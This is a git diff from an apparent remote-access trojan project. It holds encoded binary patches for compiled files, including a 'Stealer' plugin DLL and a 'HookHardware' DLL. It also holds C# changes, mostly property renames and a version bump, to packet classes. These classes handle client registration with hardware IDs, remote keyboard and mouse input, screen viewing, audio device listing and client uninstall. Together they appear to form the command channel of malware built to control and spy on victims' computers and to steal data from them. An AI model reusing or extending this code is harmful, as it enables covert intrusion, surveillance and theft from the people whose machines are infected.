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 E0CWZGEC2ui delta 153 zcmZoxy~fMQ#>m0Iz`*F}Hj&d!j>TmA+M~BP7#SHk0}_+7Q%ig@lNgzS@=QR?Jozkt z8>8{YFWZ=a+{vGrt0srCHcs|puV+gUW-Jo8Ir%($9gG>w(JBcM1sl&*W};`HXKY|> ZXvx5sJ=vByc(Oc?ocKf+CZIkH6#%}DC5`|9 diff --git a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache index e0716105..0a6b36dc 100644 --- a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache +++ b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.csproj.CoreCompileInputs.cache @@ -1 +1 @@ -ed9851e8ce95d2895893c8f53f9cf99378134d3d +de156314dddb907d39d927f419e4e8c0eef07411 diff --git a/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.dll b/Remote Access Tool/Plugins/Stealer/obj/Release/Stealer.dll index 89fdc873de6fb5d8b51ec6e64d3c17402c1efb7a..fdd4626d7eeea9287bd383879556c6a144123073 100644 GIT binary patch delta 1232 zcmaJ>U2IfE6#mZrnS1Yce_i7u-EF%qP@1Akw6?)*Y%D0L5+SyTK}=Ij?N5TDTSHpW zy$uF2G17G``+zYv+6N+wX*XK>;6oE$G)=5e#z-V27D5QpO;AB0^~}Jt_u-p!zVpqQ zGv`dMzasn%cLaqQ5!!iPy3E1cRx8zoVr5$uqkjl4j<9H%_(lVrs0mIOd@roOGb z%Q)*iG~oda-6L-fy*7{of1Be#keJ)ujrRM2D02=44pEAC4jL zworTD5E-!@s{*ZjzyVW*W7d!pz*V>8gmK(mZ;(K}IM2AMl|S1V*;|#) zFPXv>C}}S1sk9fheN-QD$y7|iR=K}()YVd+vPW4H#x`$}&-v9n!kBWDU7P1y1#rPp(wB{CTXiv@n@Lbh6hV;{PqKa2+u|tC zfCZnTc;36~39VexN)xV*y`p1PNNO*yy&!5Z&ij^ZwJ(G^$ajOEQvzO%=^xxwil~09VZ~og9 ze8lZ_O2>OSZwQ0yl~-63b$Zx)PkSowg>W^s%74S}H=p1Z5dI(UxZoDF$x@`D_MXj8 z*2FR92{-t`8E7??y)3UsnrK-*7%fs<&O{TnhF8QXsM@X|;GDz)<1}NRn8iF+%?bVq$E+Xe4QhPP^-vsc_B(oq2&iwVSAdLH7y9 zg2&cQ^;wj3M_r$N6_CWtg@2+xB;+!Em z`*QtV2g~ubKM`$}%hh9+3d-JOyYXy)c`})!=;-Xp33u_Or@y>Df99;a_f^?GxVHRA z%^`zY*FZvIR%l+H{ delta 1229 zcmaJ>ZD?Cn7=GUSaqhioa+4Y%?V2uT?QBDxR-&s*r**omb|@`$qYi3|me3V#EjIhH zp-slhtRigTFd{gZMaCRjToWW4=#PSbg#Hj^i1;xOb%-4{(23RIe9zhZ>-q7V_kGUu zew_E*q_8FmYvRJGGZk~jRuP{%>S~RivX8LF$0Obf*ZIX%Sk<^;EBiFt z0o24I>wn@V1!B%c+sD()3#7RV9}AAM6M4Q>09PF)ea^UOt0@NbFbQglASU*TU2Na> zb~ws2V4*+}?DcMYLMy+}N)xU=8`5WWh-+^~dqHf*F^>DzR&gQR134RfmmHZ0rD#O< zg;LEU-f1E{lvItJXb5mygq_-x7?CGKP2p9ypB0fUTH)T1mqV|G6J9sJLG}*UCinO+ zcNmu75;t3wj$=7*2#2;Ruh8w_g!(-oY~CImVYn8JDpt zuSJ^kUz@*SfqoD*=G(=ejBO_98&(QhqEQhf#niL?tP!UL`p|7<=B6oFsWLCqc{@cl z9C9CHJR`bM!whv}gEKtIjGAB#YGy==@if+J{G7%s$LopsVmJ87&$)jw=8ap71u_lb z1EH`(zIRuDGRHsZ5OPJpN6sXKksIfyfmKlBFks4PbSs&1N3@wTm7(Z$Gcxe}*o)cR z{v*>_jAwJB)0Mv1XGW!A(+bg;{JH6<9ERdXy+# ky;7lG-b>9NQ<{9 diff --git a/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs b/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs index c84c6515..e664c3da 100644 --- a/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs +++ b/Remote Access Tool/Utils/HookHardware/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("3.2.3.0")] -[assembly: AssemblyFileVersion("3.2.3.0")] +[assembly: AssemblyVersion("3.2.4.0")] +[assembly: AssemblyFileVersion("3.2.4.0")] diff --git a/Remote Access Tool/Utils/HookHardware/bin/Release/HookHardware.dll b/Remote Access Tool/Utils/HookHardware/bin/Release/HookHardware.dll deleted file mode 100644 index 7ce09054d251e07e30e0baaa5c6d898e044f84f5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7680 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 diff --git a/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.dll b/Remote Access Tool/Utils/HookHardware/obj/Release/HookHardware.dll index 7ce09054d251e07e30e0baaa5c6d898e044f84f5..6963d851b663ca17295b9454656de5288d2f5420 100644 GIT binary patch delta 86 zcmZp$X|S2l!E($+>&eC*HC{%R&6|0rvI+dz=eNJ}x2@~mcB__s8(xHNju6?$$Y`=z nT&$dllZAnafti7Ufo1b_2~UvdL&;(wH91t;9LVXFE@lD%fkhm$ delta 86 zcmZp$X|S2l!O|(Y;MT?-HC{&M&6|0rvI!`qv5OTwn&q*oLV8zs&qTJ(5hD8-8I3oK mi audioDevices, string baseIp, string HWID) : base() { - this.packetType = PacketType.AUDIO_GET_DEVICES; - this.baseIp = baseIp; + this.PacketType = PacketType.AUDIO_GET_DEVICES; + this.BaseIp = baseIp; this.HWID = HWID; this.audioDevices = audioDevices; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public List audioDevices { get; set; } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs index cec7f60f..d36b6335 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs @@ -12,17 +12,17 @@ public class BaseIpPacket : IPacket { public BaseIpPacket(string baseIp) : base() { - this.packetType = PacketType.CONNECTED; - this.baseIp = baseIp; + this.PacketType = PacketType.CONNECTED; + this.BaseIp = baseIp; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs index d68b159c..e8db19cc 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs @@ -12,16 +12,16 @@ public class ClosePacket : IPacket { public ClosePacket() : base() { - this.packetType = PacketType.CLOSE_CLIENT; + this.PacketType = PacketType.CLOSE_CLIENT; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs index 1988526c..2485e54a 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs @@ -15,9 +15,9 @@ public class ConnectedPacket : IPacket //client public ConnectedPacket() : base() { - plugin = null; + Plugin = null; Microsoft.VisualBasic.Devices.Computer I = new Microsoft.VisualBasic.Devices.Computer(); - packetType = PacketType.CONNECTED; + PacketType = PacketType.CONNECTED; Native.GetPhysicallyInstalledSystemMemory(out long lRam); RAM = string.Format("{0}Gb", (ulong)((double)lRam / 1024d / 1024d)); HWID = HwidGen.HWID(); @@ -30,13 +30,13 @@ public ConnectedPacket() : base() } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public string RAM { get; } public string Is64Bit { get; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs index 584b932a..b937b6cd 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs @@ -12,16 +12,16 @@ public class UninstallPacket : IPacket { public UninstallPacket() : base() { - this.packetType = PacketType.UNINSTALL_CLOSE_CLIENT; + this.PacketType = PacketType.UNINSTALL_CLOSE_CLIENT; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } } } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs index 0ac1ae58..5a16f0c7 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs @@ -13,20 +13,20 @@ public class RemoteKeyboardPacket : IPacket { public RemoteKeyboardPacket(byte keyCode, bool isDown) : base() { - this.packetType = PacketType.RM_KEYBOARD; + this.PacketType = PacketType.RM_KEYBOARD; this.keyCode = keyCode; this.isDown = isDown; } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public byte keyCode { get; set; } public bool isDown { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs index 5d8eaf5a..6a4dee92 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs @@ -25,7 +25,7 @@ public enum MouseTypeAction } public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, int y = 0) : base() { - this.packetType = PacketType.RM_MOUSE; + this.PacketType = PacketType.RM_MOUSE; this.mouseTypeAction = mouseTypeAction; this.x = x; @@ -33,13 +33,13 @@ public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, int y = 0) } public string HWID { get; set; } - public string baseIp { get; set; } - public byte[] plugin { get; set; } - public PacketType packetType { get; } - public PacketState packetState { get; set; } - public string status { get; set; } - public string datePacketStatus { get; set; } - public int packetSize { get; set; } + public string BaseIp { get; set; } + public byte[] Plugin { get; set; } + public PacketType PacketType { get; } + public PacketState PacketState { get; set; } + public string Status { get; set; } + public string DatePacketStatus { get; set; } + public int PacketSize { get; set; } public MouseTypeAction mouseTypeAction { get; set; } public int x { get; set; } diff --git a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs index c599896c..b387f755 100644 --- a/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs +++ b/Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs @@ -12,24 +12,24 @@ public class RemoteViewerPacket : IPacket { public RemoteViewerPacket(PacketType packetType) : base() { - this.packetType = packetType; + this.PacketType = packetType; } public RemoteViewerPacket(PacketType packetType, string baseIp, string HWID) : base() { - this.packetType = packetType; - this.baseIp = baseIp; + this.PacketType = packetType; + 